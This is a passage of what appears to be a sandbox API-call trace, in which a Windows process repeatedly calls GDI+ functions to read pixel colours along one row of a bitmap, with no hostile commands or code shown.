0x0 [0114.965] GdipBitmapGetPixel (bitmap=0x4932f08, x=70, y=332, color=0x31cb2c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipBitmapGetPixel (bitmap=0x4932f08, x=71, y=332, color=0x31cb2c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipBitmapGetPixel (bitmap=0x4932f08, x=72, y=332, color=0x31cb2c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipBitmapGetPixel (bitmap=0x4932f08, x=73, y=332, color=0x31cb2c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipBitmapGetPixel (bitmap=0x4932f08, x=74, y=332, color=0x31cb2c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.965] GdipBitmapGetPixel (bitmap=0x4932f08, x=75, y=332, color=0x31cb2c) returned 0x0 [0114.965] GetLastError () returned 0x0 [0114.966] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipBitmapGetPixel (bitmap=0x4932f08, x=76, y=332, color=0x31cb2c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipBitmapGetPixel (bitmap=0x4932f08, x=77, y=332, color=0x31cb2c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipBitmapGetPixel (bitmap=0x4932f08, x=78, y=332, color=0x31cb2c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipBitmapGetPixel (bitmap=0x4932f08, x=79, y=332, color=0x31cb2c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipBitmapGetPixel (bitmap=0x4932f08, x=80, y=332, color=0x31cb2c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=81, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=82, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=83, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=84, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=85, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=86, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipBitmapGetPixel (bitmap=0x4932f08, x=87, y=332, color=0x31cb2c) returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=88, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=89, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=90, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=91, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=92, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=93, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GdipBitmapGetPixel (bitmap=0x4932f08, x=94, y=332, color=0x31cb2c) returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipBitmapGetPixel (bitmap=0x4932f08, x=95, y=332, color=0x31cb2c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipBitmapGetPixel (bitmap=0x4932f08, x=96, y=332, color=0x31cb2c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipBitmapGetPixel (bitmap=0x4932f08, x=97, y=332, color=0x31cb2c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipBitmapGetPixel (bitmap=0x4932f08, x=98, y=332, color=0x31cb2c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipBitmapGetPixel (bitmap=0x4932f08, x=99, y=332, color=0x31cb2c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipBitmapGetPixel (bitmap=0x4932f08, x=100, y=332, color=0x31cb2c) returned 0x0 [0114.969] GetLastError () returned 0x0 [0114.969] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=101, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=102, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=103, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=104, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=105, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=106, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] GdipBitmapGetPixel (bitmap=0x4932f08, x=107, y=332, color=0x31cb2c) returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipBitmapGetPixel (bitmap=0x4932f08, x=108, y=332, color=0x31cb2c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipBitmapGetPixel (bitmap=0x4932f08, x=109, y=332, color=0x31cb2c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipBitmapGetPixel (bitmap=0x4932f08, x=110, y=332, color=0x31cb2c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipBitmapGetPixel (bitmap=0x4932f08, x=111, y=332, color=0x31cb2c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipBitmapGetPixel (bitmap=0x4932f08, x=112, y=332, color=0x31cb2c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipBitmapGetPixel (bitmap=0x4932f08, x=113, y=332, color=0x31cb2c) returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=114, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=115, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=116, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=117, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=118, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=119, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=120, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GdipBitmapGetPixel (bitmap=0x4932f08, x=121, y=332, color=0x31cb2c) returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=122, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=123, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=124, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=125, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=126, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=127, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=128, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=129, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.973] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.973] GdipBitmapGetPixel (bitmap=0x4932f08, x=130, y=332, color=0x31cb2c) returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=131, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=132, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=133, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=134, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=135, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=136, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=137, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.974] GdipBitmapGetPixel (bitmap=0x4932f08, x=138, y=332, color=0x31cb2c) returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.974] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=139, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=140, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=141, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=142, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=143, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=144, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=145, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.975] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.975] GdipBitmapGetPixel (bitmap=0x4932f08, x=146, y=332, color=0x31cb2c) returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=147, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=148, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=149, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.976] GdipBitmapGetPixel (bitmap=0x4932f08, x=150, y=332, color=0x31cb2c) returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.976] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 